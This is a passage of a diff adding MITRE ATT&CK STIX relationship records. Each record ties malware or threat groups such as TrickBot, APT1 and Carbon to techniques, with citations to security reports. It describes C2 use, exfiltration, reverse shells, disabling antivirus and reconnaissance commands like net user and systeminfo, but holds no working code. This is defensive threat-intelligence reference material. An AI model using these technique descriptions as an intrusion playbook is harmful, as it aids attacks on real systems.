"attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used GitHub and a public blog service in Hong Kong for C2 communications.", + "type": "relationship", + "created": "2019-01-29T19:09:26.648Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45952aea-8bd7-4f6d-8b23-ee2914860454", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.392Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the command net time \\\\127.0.0.1 to get information the system\u2019s time.", + "type": "relationship", + "created": "2019-01-29T19:36:02.679Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40a2c8e2-df1c-41a8-beec-951214c8e101", + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "modified": "2019-04-12T14:43:22.631Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) gathers a list of all user accounts, privilege classes, and time of last logon.", + "type": "relationship", + "created": "2019-01-29T19:55:48.144Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e876e40-06b7-4830-a281-85c070b6f854", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.941Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:56:46.821Z", + "type": "relationship", + "created": "2019-01-29T20:08:24.834Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfe45239-7fa4-45a5-bb47-86c4ae46906c", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can modify file or directory timestamps.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects registered owner details by using the commands systeminfo and net config workstation.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64006d31-51ea-4908-8b09-2650fdc6b4f8", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to detect active drivers of some security products.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. 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Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-06-28T20:48:52.615Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of spawning a reverse shell on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--380db9ad-f6ad-4988-8a28-b773313f07b7", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use an add on feature when creating payloads that allows you to create custom Python scripts (\u201cscriptlets\u201d) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--befbbf7a-6480-4825-b7f6-1561dc6d4189", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.994Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lurid](https://attack.mitre.org/software/S0010) can compress data before sending it.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--982d9af7-45bb-4cc0-9819-aaadb3304783", + "external_references": [ + { + "source_name": "Villeneuve 2011", + "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e58118d-64b9-43ae-bfd8-cb3c8bf19556", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "modified": "2019-07-26T23:00:57.216Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Remsec](https://attack.mitre.org/software/S0125) module has a default C2 port of 13000.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ed59789-3b2d-4acf-9127-7af35234a373", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) exfiltrates command output and collected files to its C2 server in 1500-byte blocks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1abf4f3f-85e7-4bd1-9432-bddd40a0ad75", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.454Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can list directories on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--084ac639-2502-4020-8938-65352349acbb", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used batch scripts in its malware to install persistence mechanisms.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdd38074-895f-40e8-85fb-acc1aa4ecb69", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.502Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) obtains the IP address and other relevant network information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f7bcd411-995f-41cb-b8ed-c333b0435ed3", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.557Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to collect data from the clipboard.", + "type": "relationship", + "created": "2019-01-29T21:27:25.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2a83e1d-f6e8-4cdc-a96e-7bca9a48dfb2", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.845Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CloudDuke](https://attack.mitre.org/software/S0054) downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--800825f5-6e74-43ad-a732-476fdf471225", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform screen capture.", + "type": "relationship", + "created": "2019-01-29T21:40:37.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f64f141-1f0f-4374-879d-b08f0fda8979", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.686Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) binds and listens on port 443.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2ff3fa8-04ee-4999-bb84-197513419090", + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) enumerates processes via the tasklist command.", + "type": "relationship", + "created": "2019-01-29T21:57:39.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--496378e6-ab36-4d3b-9ae3-c493a5b56877", + "external_references": [ + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.904Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) can download and launch additional payloads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0485006f-c4f6-4657-85a0-6beec8d9368a", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) can download additional modules and payloads.", + "type": "relationship", + "created": "2019-01-30T13:53:14.808Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a21e7dd8-9194-4c09-870c-11f44f391838", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.968Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Psylo](https://attack.mitre.org/software/S0078) exfiltrates data to its C2 server over the same protocol as C2 communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac3b6751-e615-44f6-a086-0c236742d8fd", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can disable Windows Defender.", + "type": "relationship", + "created": "2019-01-30T14:11:44.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--875c4506-3c41-4b4d-bdc9-aa66614cfa55", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.706Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather a list of processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83ea0666-2b0d-4db8-821c-e51c15335bd1", + "external_references": [ + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can check for installed software on the system under the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall.", + "type": "relationship", + "created": "2019-01-30T15:19:14.922Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26fcd59e-5758-47ec-8a5e-68150d1ff805", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.351Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of gathering system information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the commands net localgroup,net user, and net group to find accounts on the system.", + "type": "relationship", + "created": "2019-01-30T15:33:07.510Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d014d8e1-b12e-4b85-84ee-ff4338c54393", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.794Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim's IP address.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a1e7afa-7052-4e47-8725-66e485efda43", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) is installed as a new service on the system.", + "type": "relationship", + "created": "2019-01-30T15:47:41.349Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6d80908-fa46-46b5-aee3-30d2e54edec0", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": 